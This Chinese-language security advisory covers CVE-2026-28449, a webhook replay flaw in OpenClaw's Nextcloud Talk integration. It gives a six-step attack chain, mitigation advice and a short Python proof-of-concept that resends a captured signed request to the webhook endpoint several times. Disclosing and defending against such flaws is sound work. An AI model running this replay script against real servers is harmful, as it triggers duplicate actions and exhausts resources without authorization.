IPBUF安全漏洞报告
English
CVE-2026-28449 CVSS 6.5 中危

CVE-2026-28449 OpenClaw Nextcloud Talk Webhook重放攻击漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-28449
漏洞类型
重放攻击
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

重放攻击OpenClawNextcloud TalkWebhook签名验证缺陷中危漏洞

漏洞概述

OpenClaw是一款与Nextcloud Talk集成的Webhook处理软件,用于接收和处理Nextcloud Talk的Webhook事件通知。该漏洞存在于OpenClaw 2026.2.25之前的版本中,由于缺少持久的重放状态检查机制,攻击者可以捕获合法的已签名Webhook请求,并无限次地重放这些请求。当攻击者重放有效的签名Webhook请求时,系统无法识别该请求已被处理过,会重复执行相同的业务逻辑,导致重复消息处理。这可能造成数据重复插入、状态不一致、资源耗尽等完整性或可用性问题。由于漏洞利用无需认证且攻击复杂度低,任何能够截获Webhook流量的攻击者都可以实施重放攻击。

技术细节

该漏洞的根本原因在于OpenClaw在处理Nextcloud Talk的Webhook事件时,缺乏请求去重和重放保护机制。Nextcloud Talk使用HMAC签名来验证Webhook请求的真实性,签名通常包含请求时间戳和唯一标识符。OpenClaw在验证签名后处理请求,但未将已处理的请求ID或签名状态持久化存储,导致同一请求可以被多次处理。攻击者通过网络嗅探或中间人攻击截获合法的Webhook请求(包括签名),然后在有效期内或之后重放该请求。由于缺少一次性令牌(nonce)或时间戳检查机制,系统无法区分新请求和重放请求。成功利用此漏洞可导致:1) 消息被重复处理多次;2) 触发重复的操作如消息发送、状态变更;3) 耗尽系统资源影响可用性。攻击者利用HTTP协议的无状态特性,通过简单的请求重发即可实现攻击。

攻击链分析

STEP 1
步骤1
攻击者通过网络嗅探或中间人攻击截获合法的Nextcloud Talk Webhook请求,包括完整的HMAC签名、请求时间戳和消息内容
STEP 2
步骤2
攻击者提取截获请求中的关键要素:签名头、时间戳头和JSON消息体
STEP 3
步骤3
攻击者使用截获的请求数据向OpenClaw的Webhook端点发送重放请求
STEP 4
步骤4
OpenClaw验证签名通过(因为签名是有效的),但由于缺少重放状态检查,系统将该请求作为新请求处理
STEP 5
步骤5
相同的业务逻辑被重复执行,导致消息被多次处理、状态被重复修改或资源被重复消耗
STEP 6
步骤6
攻击者通过多次重放实现完整性破坏(数据重复)或可用性影响(资源耗尽)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time import json # CVE-2026-28449 PoC - Webhook Replay Attack # Target: OpenClaw with Nextcloud Talk integration TARGET_URL = "https://vulnerable-server/webhook/nextcloud-talk" # Step 1: Capture a valid signed webhook request (via network sniffing or MITM) # The captured request should include: # - Valid HMAC signature header # - Timestamp header # - Request body with message data captured_headers = { "X-Nextcloud-Talk-Signature": "sha256=valid_hmac_signature", "X-Request-Timestamp": str(int(time.time())), "Content-Type": "application/json" } captured_body = json.dumps({ "type": "message", "message": { "text": "Important command" } }) # Step 2: Replay the captured request multiple times print("[*] Starting replay attack on OpenClaw webhook endpoint...") for i in range(5): print(f"[*] Replay attempt {i+1}...") response = requests.post( TARGET_URL, headers=captured_headers, data=captured_body, verify=False, timeout=10 ) print(f"[*] Response status: {response.status_code}") # If vulnerable, the request will be processed each time if response.status_code == 200: print("[+] Request accepted - vulnerable to replay attack") time.sleep(1) print("[*] Attack completed - check for duplicate message processing")

影响范围

OpenClaw < 2026.2.25

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Nextcloud Talk端限制Webhook的有效期,缩短签名过期时间;2) 在网络层部署WAF或API网关,实现请求去重和频率限制;3) 监控异常的重复请求模式,及时发现重放攻击行为;4) 限制Webhook端点的网络访问,只允许可信来源IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表